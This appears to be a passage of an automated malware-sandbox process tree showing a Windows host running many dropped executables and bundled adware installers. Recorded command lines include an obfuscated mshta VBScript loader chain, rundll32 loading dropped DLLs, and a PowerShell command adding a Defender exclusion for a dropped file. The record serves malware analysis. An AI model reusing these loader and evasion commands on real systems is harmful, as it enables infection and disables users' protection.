C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i49⤵PID:8040
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i50⤵
- Executes dropped EXE
PID:5268 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i51⤵PID:1320
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i52⤵PID:2352
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i53⤵PID:7884
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i54⤵PID:7236
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i55⤵PID:2400
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping YJTUIPJF -n 306⤵
- Checks processor information in registry
- Enumerates system info in registry
- Runs ping.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"2⤵PID:5532
-
C:\Users\Admin\Documents\5dnlf8JqyrIPOCfaFKnQ9YMl.exe"C:\Users\Admin\Documents\5dnlf8JqyrIPOCfaFKnQ9YMl.exe"3⤵PID:1156
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 3164⤵
- Program crash
PID:5260
-
-
-
C:\Users\Admin\Documents\XvyMURZtAJxOmqlwHU21OLcX.exe"C:\Users\Admin\Documents\XvyMURZtAJxOmqlwHU21OLcX.exe"3⤵PID:6208
-
-
C:\Users\Admin\Documents\VGtfqHuLOOGgHwIInlQWCL1v.exe"C:\Users\Admin\Documents\VGtfqHuLOOGgHwIInlQWCL1v.exe"3⤵PID:6284
-
-
C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe"C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe"3⤵PID:6276
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )4⤵PID:6692
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\M0Tm1o_esKk1sukWBsiZbBv3.exe" ) do taskkill -f -iM "%~NxA"5⤵PID:4736
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS6⤵PID:7324
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )7⤵PID:7788
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"8⤵PID:5060
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a7⤵PID:7840
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "M0Tm1o_esKk1sukWBsiZbBv3.exe"6⤵
- Kills process with taskkill
PID:5336
-
-
-
-
-
C:\Users\Admin\Documents\WvgGR_K6chMpDVA5nX85joz9.exe"C:\Users\Admin\Documents\WvgGR_K6chMpDVA5nX85joz9.exe"3⤵PID:6252
-
C:\Users\Admin\Documents\WvgGR_K6chMpDVA5nX85joz9.exe"C:\Users\Admin\Documents\WvgGR_K6chMpDVA5nX85joz9.exe" -q4⤵PID:7472
-
-
-
C:\Users\Admin\Documents\cfGESr3kVUWw7U1SvM28p3IY.exe"C:\Users\Admin\Documents\cfGESr3kVUWw7U1SvM28p3IY.exe"3⤵PID:6444
-
C:\Users\Admin\AppData\Local\Temp\is-K4M24.tmp\cfGESr3kVUWw7U1SvM28p3IY.tmp"C:\Users\Admin\AppData\Local\Temp\is-K4M24.tmp\cfGESr3kVUWw7U1SvM28p3IY.tmp" /SL5="$40232,138429,56832,C:\Users\Admin\Documents\cfGESr3kVUWw7U1SvM28p3IY.exe"4⤵PID:6868
-
C:\Users\Admin\AppData\Local\Temp\is-0IJ5Q.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-0IJ5Q.tmp\Setup.exe" /Verysilent5⤵PID:7016
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"6⤵PID:7552
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629316243 /qn CAMPAIGN=""710"" " CAMPAIGN="710"7⤵PID:7796
-
-
-
-
-
-
C:\Users\Admin\Documents\35fup5zcBMJwuSJFpe7EBUIP.exe"C:\Users\Admin\Documents\35fup5zcBMJwuSJFpe7EBUIP.exe"3⤵PID:6160
-
-
C:\Users\Admin\Documents\qhRazJY0pikuVCE9p38ODMFt.exe"C:\Users\Admin\Documents\qhRazJY0pikuVCE9p38ODMFt.exe"3⤵PID:6152
-
C:\Users\Admin\Documents\qhRazJY0pikuVCE9p38ODMFt.exe"C:\Users\Admin\Documents\qhRazJY0pikuVCE9p38ODMFt.exe"4⤵PID:2000
-
-
-
C:\Users\Admin\Documents\00mG5l9rCCR1evNfhqWpZE7G.exe"C:\Users\Admin\Documents\00mG5l9rCCR1evNfhqWpZE7G.exe"3⤵PID:992
-
-
C:\Users\Admin\Documents\p9uWz1BJYzJfAVwgBctsGKZ7.exe"C:\Users\Admin\Documents\p9uWz1BJYzJfAVwgBctsGKZ7.exe"3⤵PID:5616
-
-
C:\Users\Admin\Documents\c3Qi87uMTs5sEiEvS8dUrc77.exe"C:\Users\Admin\Documents\c3Qi87uMTs5sEiEvS8dUrc77.exe"3⤵PID:1996
-
-
C:\Users\Admin\Documents\g1ot7cGdhSieU612Z1g9kD9V.exe"C:\Users\Admin\Documents\g1ot7cGdhSieU612Z1g9kD9V.exe"3⤵PID:5404
-
-
C:\Users\Admin\Documents\Xn1oN4nB2pjTsbwRCxZGQEdu.exe"C:\Users\Admin\Documents\Xn1oN4nB2pjTsbwRCxZGQEdu.exe"3⤵PID:968
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 968 -s 2964⤵
- Program crash
PID:5292
-
-
-
C:\Users\Admin\Documents\aV3Fmo15Kwcz6XhFIC0xoJED.exe"C:\Users\Admin\Documents\aV3Fmo15Kwcz6XhFIC0xoJED.exe"3⤵PID:5180
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5180 -s 3124⤵
- Program crash
PID:3044
-
-
-
C:\Users\Admin\Documents\PaPf_Nji2XoubCmRUEpssD8M.exe"C:\Users\Admin\Documents\PaPf_Nji2XoubCmRUEpssD8M.exe"3⤵PID:4640
-
C:\Users\Admin\Documents\PaPf_Nji2XoubCmRUEpssD8M.exeC:\Users\Admin\Documents\PaPf_Nji2XoubCmRUEpssD8M.exe4⤵PID:6472
-
-
-
C:\Users\Admin\Documents\ir3h8SB72JtwVbG0yzDuQp_j.exe"C:\Users\Admin\Documents\ir3h8SB72JtwVbG0yzDuQp_j.exe"3⤵
- Executes dropped EXE
PID:3580 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 2804⤵
- Program crash
PID:6224
-
-
-
C:\Users\Admin\Documents\4d3svH609eo_2ZxWKKBMzJYi.exe"C:\Users\Admin\Documents\4d3svH609eo_2ZxWKKBMzJYi.exe"3⤵PID:3100
-
-
C:\Users\Admin\Documents\MufeiY_2oDJPeOW4VJkR_CUD.exe"C:\Users\Admin\Documents\MufeiY_2oDJPeOW4VJkR_CUD.exe"3⤵PID:6108
-
C:\Users\Admin\Documents\MufeiY_2oDJPeOW4VJkR_CUD.exeC:\Users\Admin\Documents\MufeiY_2oDJPeOW4VJkR_CUD.exe4⤵PID:7204
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7204 -s 285⤵
- Program crash
PID:7272
-
-
-
-
C:\Users\Admin\Documents\NQp5kYqiQu8KRrtqwAF7hsB9.exe"C:\Users\Admin\Documents\NQp5kYqiQu8KRrtqwAF7hsB9.exe"3⤵PID:5344
-
C:\Users\Admin\AppData\Roaming\5815393.exe"C:\Users\Admin\AppData\Roaming\5815393.exe"4⤵PID:3980
-
-
C:\Users\Admin\AppData\Roaming\5413520.exe"C:\Users\Admin\AppData\Roaming\5413520.exe"4⤵PID:8140
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 8140 -s 23765⤵
- Program crash
PID:6316
-
-
-
C:\Users\Admin\AppData\Roaming\5039130.exe"C:\Users\Admin\AppData\Roaming\5039130.exe"4⤵PID:5864
-
-
C:\Users\Admin\AppData\Roaming\8555633.exe"C:\Users\Admin\AppData\Roaming\8555633.exe"4⤵PID:8072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8072 -s 24085⤵
- Program crash
PID:3740
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS1⤵PID:3580
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a2⤵
- Loads dropped DLL
PID:5436
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1852 -ip 18521⤵PID:3628
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1252 -ip 12521⤵PID:4796
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 724 -ip 7241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1976
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 132 -ip 1321⤵PID:3660
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 400 -ip 4001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5648
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1164 -ip 11641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1396
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3892 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:5948 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5948 -s 4483⤵
- Program crash
PID:2544
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5948 -ip 59481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5172 -ip 51721⤵PID:1568
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 428 -p 3764 -ip 37641⤵PID:1540
-
C:\Users\Admin\AppData\Local\Temp\9A1.exeC:\Users\Admin\AppData\Local\Temp\9A1.exe1⤵PID:2880
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:5492
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 55811F3126A68609C64884BF67EEB33B C2⤵PID:5516
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 8083AB3A236BA75D91499796300452E7 C2⤵PID:2404
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2C39D056CF5FAB606E51FD17F3134BBB2⤵PID:3528
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 535AE5A5B42C2C7CDFE32DD59F483E1F C2⤵PID:2860
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F201DF30D8A395A6E99B1A9370A2BA9B C2⤵PID:5740
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"2⤵PID:7408
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default3⤵PID:8140
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1856 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5240
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5240 -s 4203⤵
- Program crash
PID:5444
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5240 -ip 52401⤵PID:3784
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 4384 -ip 43841⤵PID:5020
-
C:\Users\Admin\AppData\Local\Temp\30B2.exeC:\Users\Admin\AppData\Local\Temp\30B2.exe1⤵PID:2260
-
C:\Users\Admin\AppData\Local\Temp\3B71.exeC:\Users\Admin\AppData\Local\Temp\3B71.exe1⤵PID:5624
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 2882⤵
- Program crash
PID:4968
-
-
C:\Users\Admin\AppData\Local\Temp\4AC4.exeC:\Users\Admin\AppData\Local\Temp\4AC4.exe1⤵PID:6132
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 2722⤵
- Program crash
PID:3120
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 648 -p 5404 -ip 54041⤵PID:2176
-
C:\Users\Admin\AppData\Local\Temp\7213.exeC:\Users\Admin\AppData\Local\Temp\7213.exe1⤵PID:3644
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 1856 -ip 18561⤵PID:4428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6064 -ip 60641⤵PID:5828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5624 -ip 56241⤵PID:5432
-
C:\Users\Admin\AppData\Local\Temp\9D6A.exeC:\Users\Admin\AppData\Local\Temp\9D6A.exe1⤵PID:5224
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6132 -ip 61321⤵PID:1600
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:6624
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
PID:5876
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:6972
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1156 -ip 11561⤵PID:5204
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:7596
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{596fc037-0d77-3e40-8ab6-8906b5259541}\oemvista.inf" "9" "4d14a44ff" "0000000000000148" "WinSta0\Default" "0000000000000158" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:5992
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oem2.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000148" "e49a"2⤵PID:1936
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 7204 -ip 72041⤵PID:7920
-
C:\Users\Admin\AppData\Local\Temp\2D18.exeC:\Users\Admin\AppData\Local\Temp\2D18.exe1⤵PID:8020
-
C:\Users\Admin\AppData\Local\Temp\cf2bcb4d-e9bd-4dde-887c-4919564fd1aa\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\cf2bcb4d-e9bd-4dde-887c-4919564fd1aa\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cf2bcb4d-e9bd-4dde-887c-4919564fd1aa\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run2⤵PID:5204
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cf2bcb4d-e9bd-4dde-887c-4919564fd1aa\test.bat"3⤵PID:7636
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2D18.exe" -Force2⤵PID:7484
-
-
C:\Users\Admin\AppData\Local\Temp\2D18.exeC:\Users\Admin\AppData\Local\Temp\2D18.exe2⤵PID:6008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6008 -s 283⤵
- Program crash
PID:4040
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5040
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 8802⤵
- Program crash
PID:7052
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2768
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 968 -ip 9681⤵PID:6548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5040 -ip 50401⤵PID:7372
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7412
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2200
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 5404 -ip 54041⤵PID:1776
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 992 -ip 9921⤵PID:8048
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4472
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7624
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:6232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5180 -ip 51801⤵PID:8040
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3908
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc1⤵PID:5364
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵PID:5656
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5956
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4460 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:7176
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7176 -s 4483⤵
- Program crash
PID:5064
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 7176 -ip 71761⤵PID:3720
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵PID:7128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3580 -ip 35801⤵PID:7204
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 6008 -ip 60081⤵PID:7204
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 712 -p 8140 -ip 81401⤵PID:6872
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Executes dropped EXE
PID:5916
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 8072 -ip 80721⤵PID:2820
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:8120
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:2820
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 5388 -ip 53881⤵PID:6196
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 3940 -ip 39401⤵PID:2352
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 7536 -ip 75361⤵PID:976
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3945055 /state1:0x41c64e6d1⤵PID:8052